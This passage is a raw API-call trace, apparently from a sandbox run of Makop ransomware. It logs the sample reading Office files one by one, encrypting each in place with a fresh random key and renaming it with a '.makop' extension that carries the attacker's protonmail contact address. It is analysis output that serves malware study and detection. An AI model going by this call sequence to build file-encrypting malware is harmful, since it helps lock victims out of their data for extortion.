nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1 [0092.043] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned 106 [0092.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0092.046] GetProcessHeap () returned 0x48a0000 [0092.046] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0092.046] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0092.046] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0092.046] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.046] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.046] GetProcessHeap () returned 0x48a0000 [0092.046] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0092.046] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0092.046] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.046] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0092.050] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0092.051] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0092.051] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0092.051] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0092.051] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0092.051] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.051] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.051] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.052] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3d90, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x3d90, lpOverlapped=0x0) returned 1 [0092.053] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x3d90, dwBufLen=0x3d90 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x3d90) returned 1 [0092.054] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.054] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d90, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x3d90, lpOverlapped=0x0) returned 1 [0092.054] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.054] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.054] SetEndOfFile (hFile=0x114) returned 1 [0092.061] GetProcessHeap () returned 0x48a0000 [0092.061] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0092.061] GetProcessHeap () returned 0x48a0000 [0092.061] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0092.061] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 153 [0092.061] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0092.062] CloseHandle (hObject=0x114) returned 1 [0092.062] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0092.062] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0092.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0092.064] GetProcessHeap () returned 0x48a0000 [0092.064] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0092.064] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0092.064] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0092.064] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x7, lpOverlapped=0x0) returned 1 [0092.069] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.069] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.069] GetProcessHeap () returned 0x48a0000 [0092.069] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0092.069] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6574590*=0x40) returned 1 [0092.069] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.069] WriteFile (in: hFile=0x114, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x65745a8*=0x40, lpOverlapped=0x0) returned 1 [0092.069] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0092.069] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0092.070] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0092.070] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0092.070] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0092.070] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.070] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.070] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.070] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9339, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x9339, lpOverlapped=0x0) returned 1 [0092.072] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x9340, dwBufLen=0x9340 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x9340) returned 1 [0092.073] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.073] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x9340, lpOverlapped=0x0) returned 1 [0092.073] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.073] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.073] SetEndOfFile (hFile=0x114) returned 1 [0092.080] GetProcessHeap () returned 0x48a0000 [0092.080] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0092.080] GetProcessHeap () returned 0x48a0000 [0092.080] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0092.080] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 152 [0092.080] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0092.081] CloseHandle (hObject=0x114) returned 1 [0092.082] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0092.082] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0092.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0092.082] GetProcessHeap () returned 0x48a0000 [0092.082] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0092.082] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0092.083] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0092.083] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0xf, lpOverlapped=0x0) returned 1 [0092.087] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.087] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.087] GetProcessHeap () returned 0x48a0000 [0092.087] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0092.087] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0092.087] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.087] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0092.088] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0092.088] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0092.088] WriteFile (in: hFile=0x114, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0092.088] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0092.089] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0092.089] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.089] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.089] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.089] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6931, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x6931, lpOverlapped=0x0) returned 1 [0092.091] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x6940, dwBufLen=0x6940 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x6940) returned 1 [0092.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.091] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x6940, lpOverlapped=0x0) returned 1 [0092.092] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.092] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.092] SetEndOfFile (hFile=0x114) returned 1 [0092.099] GetProcessHeap () returned 0x48a0000 [0092.100] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0092.100] GetProcessHeap () returned 0x48a0000 [0092.100] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0092.100] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 150 [0092.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0092.102] CloseHandle (hObject=0x114) returned 1 [0092.102] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0092.102] wsprintfW (in: param_1=0x6575070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103 [0092.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0092.107] GetProcessHeap () returned 0x48a0000 [0092.107] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0092.107] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0092.107] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745c8 | out: lpNewFilePointer=0x0) returned 1 [0092.107] WriteFile (in: hFile=0x114, lpBuffer=0x65745d8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745d8*, lpNumberOfBytesWritten=0x65745a8*=0x5, lpOverlapped=0x0) returned 1 [0092.111] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.111] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.111] GetProcessHeap () returned 0x48a0000 [0092.111] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0092.111] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6574590*=0x30) returned 1 [0092.111] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.111] WriteFile (in: hFile=0x114, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x65745a8*=0x30, lpOverlapped=0x0) returned 1 [0092.111] WriteFile (in: hFile=0x114, lpBuffer=0x65745b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745b0*, lpNumberOfBytesWritten=0x65745a8*=0x4, lpOverlapped=0x0) returned 1 [0092.112] WriteFile (in: hFile=0x114, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x65745a8*=0x10, lpOverlapped=0x0) returned 1 [0092.112] WriteFile (in: hFile=0x114, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x65745a8*=0x80, lpOverlapped=0x0) returned 1 [0092.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65745d0 | out: lpNewFilePointer=0x0) returned 1 [0092.112] WriteFile (in: hFile=0x114, lpBuffer=0x65745c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x65745c0*, lpNumberOfBytesWritten=0x65745a8*=0x8, lpOverlapped=0x0) returned 1 [0092.112] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x65745ac | out: phKey=0x65745ac*=0x48c71a8) returned 1 [0092.112] CryptSetKeyParam (hKey=0x48c71a8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0092.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.113] ReadFile (in: hFile=0x114, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6a3b, lpNumberOfBytesRead=0x65745b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65745b4*=0x6a3b, lpOverlapped=0x0) returned 1 [0092.114] CryptEncrypt (in: hKey=0x48c71a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6574590*=0x6a40, dwBufLen=0x6a40 | out: pbData=0x6370020*, pdwDataLen=0x6574590*=0x6a40) returned 1 [0092.114] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.114] WriteFile (in: hFile=0x114, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x65745a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65745a8*=0x6a40, lpOverlapped=0x0) returned 1 [0092.115] CryptDestroyKey (hKey=0x48c71a8) returned 1 [0092.115] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.115] SetEndOfFile (hFile=0x114) returned 1 [0092.121] GetProcessHeap () returned 0x48a0000 [0092.121] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0092.122] GetProcessHeap () returned 0x48a0000 [0092.122] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0092.122] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 